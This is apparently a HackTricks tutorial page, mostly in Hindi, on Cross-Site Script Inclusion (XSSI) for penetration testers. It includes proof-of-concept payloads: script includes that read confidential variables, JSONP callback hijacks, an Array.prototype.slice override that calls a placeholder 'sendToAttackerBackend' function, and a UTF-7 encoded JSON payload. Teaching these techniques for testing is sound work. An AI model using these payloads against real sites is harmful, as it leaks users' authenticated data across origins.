XSSI (Cross-Site Script Inclusion)

Support HackTricks

Basic Information

Cross-Site Script Inclusion (XSSI) एक सुरक्षा कमजोरी है जो HTML में script टैग की प्रकृति से उत्पन्न होती है। अधिकांश संसाधनों के विपरीत, जो Same-Origin Policy (SOP) के अधीन होते हैं, स्क्रिप्ट को विभिन्न डोमेन से शामिल किया जा सकता है। यह व्यवहार विभिन्न सर्वरों पर होस्ट की गई लाइब्रेरी और अन्य संसाधनों के उपयोग को सुविधाजनक बनाने के लिए है, लेकिन यह एक संभावित सुरक्षा जोखिम भी प्रस्तुत करता है।

Key Characteristics of XSSI:

  • SOP का बाईपास: स्क्रिप्ट Same-Origin Policy से छूट प्राप्त करती हैं, जिससे उन्हें विभिन्न डोमेन में शामिल किया जा सकता है।

  • डेटा एक्सपोजर: एक हमलावर इस व्यवहार का लाभ उठाकर script टैग के माध्यम से लोड किए गए डेटा को पढ़ सकता है।

  • डायनामिक JavaScript/JSONP पर प्रभाव: XSSI विशेष रूप से डायनामिक JavaScript या JSON with Padding (JSONP) के लिए प्रासंगिक है। ये तकनीकें अक्सर प्रमाणीकरण के लिए "ambient-authority" जानकारी (जैसे कुकीज़) का उपयोग करती हैं। जब किसी अन्य होस्ट पर स्क्रिप्ट अनुरोध किया जाता है, तो ये क्रेडेंशियल्स (जैसे कुकीज़) स्वचालित रूप से अनुरोध में शामिल हो जाते हैं।

  • प्रमाणीकरण टोकन लीक: यदि एक हमलावर किसी उपयोगकर्ता के ब्राउज़र को एक सर्वर से स्क्रिप्ट अनुरोध करने के लिए धोखा दे सकता है, तो वे इन अनुरोधों में निहित संवेदनशील जानकारी तक पहुँच सकते हैं।

Types

  1. Static JavaScript - यह XSSI का पारंपरिक रूप है।

  2. Static JavaScript with Authentication - यह प्रकार विशिष्ट है क्योंकि इसे एक्सेस करने के लिए प्रमाणीकरण की आवश्यकता होती है।

  3. Dynamic JavaScript - इसमें वह JavaScript शामिल है जो डायनामिक रूप से सामग्री उत्पन्न करता है।

  4. Non-JavaScript - यह उन कमजोरियों को संदर्भित करता है जो सीधे JavaScript से संबंधित नहीं हैं।

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

इस दृष्टिकोण में, निजी जानकारी एक वैश्विक रूप से सुलभ JavaScript फ़ाइल में एम्बेड की जाती है। हमलावर इन फ़ाइलों की पहचान फ़ाइल पढ़ने, कीवर्ड खोजने, या नियमित अभिव्यक्तियों जैसे तरीकों का उपयोग करके कर सकते हैं। एक बार जब ये फ़ाइलें मिल जाती हैं, तो निजी जानकारी वाली स्क्रिप्ट को दुर्भावनापूर्ण सामग्री में शामिल किया जा सकता है, जिससे संवेदनशील डेटा तक अनधिकृत पहुँच प्राप्त होती है। एक उदाहरण शोषण तकनीक नीचे दिखाई गई है:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI और Authenticated-JavaScript-XSSI

इन प्रकार के XSSI हमलों में संवेदनशील जानकारी को उपयोगकर्ता के अनुरोध के जवाब में स्क्रिप्ट में गतिशील रूप से जोड़ा जाता है। पहचान करने के लिए कुकीज़ के साथ और बिना अनुरोध भेजकर और प्रतिक्रियाओं की तुलना करके किया जा सकता है। यदि जानकारी भिन्न होती है, तो यह संवेदनशील जानकारी की उपस्थिति का संकेत दे सकता है। इस प्रक्रिया को DetectDynamicJS बर्प एक्सटेंशन जैसे उपकरणों का उपयोग करके स्वचालित किया जा सकता है।

यदि संवेदनशील डेटा एक वैश्विक चर में संग्रहीत है, तो इसे नियमित XSSI में उपयोग किए गए समान तरीकों का उपयोग करके शोषित किया जा सकता है। हालाँकि, यदि संवेदनशील डेटा JSONP प्रतिक्रिया में शामिल है, तो हमलावर जानकारी प्राप्त करने के लिए कॉलबैक फ़ंक्शन को हाईजैक कर सकते हैं। यह वैश्विक वस्तुओं में हेरफेर करके या JSONP प्रतिक्रिया द्वारा निष्पादित होने के लिए एक फ़ंक्शन सेट करके किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

ग्लोबल नामस्थान में न रहने वाले वेरिएबल्स के लिए, prototype tampering कभी-कभी शोषित किया जा सकता है। यह तकनीक JavaScript के डिज़ाइन का लाभ उठाती है, जहाँ कोड व्याख्या में कॉल की गई प्रॉपर्टी को खोजने के लिए प्रोटोटाइप चेन को पार करना शामिल होता है। कुछ फ़ंक्शंस, जैसे Array के slice को ओवरराइड करके, हमलावर गैर-ग्लोबल वेरिएबल्स तक पहुँच सकते हैं और उन्हें लीक कर सकते हैं:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.

Non-Script-XSSI

Takeshi Terada का शोध XSSI का एक और रूप प्रस्तुत करता है, जहाँ Non-Script फ़ाइलें, जैसे CSV, को script टैग में स्रोत के रूप में शामिल करके क्रॉस-ओरिजिन लीक किया जाता है। XSSI के ऐतिहासिक उदाहरण, जैसे Jeremiah Grossman का 2006 का हमला जो एक पूर्ण Google पता पुस्तक पढ़ने के लिए था और Joe Walker का 2007 का JSON डेटा लीक, इन खतरों की गंभीरता को उजागर करते हैं। इसके अतिरिक्त, Gareth Heyes एक हमले के रूपांतर का वर्णन करते हैं जिसमें UTF-7 एन्कोडेड JSON का उपयोग किया जाता है ताकि JSON प्रारूप से बचा जा सके और स्क्रिप्ट्स को निष्पादित किया जा सके, जो कुछ ब्राउज़रों में प्रभावी है:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
HackTricks का समर्थन करें

Last updated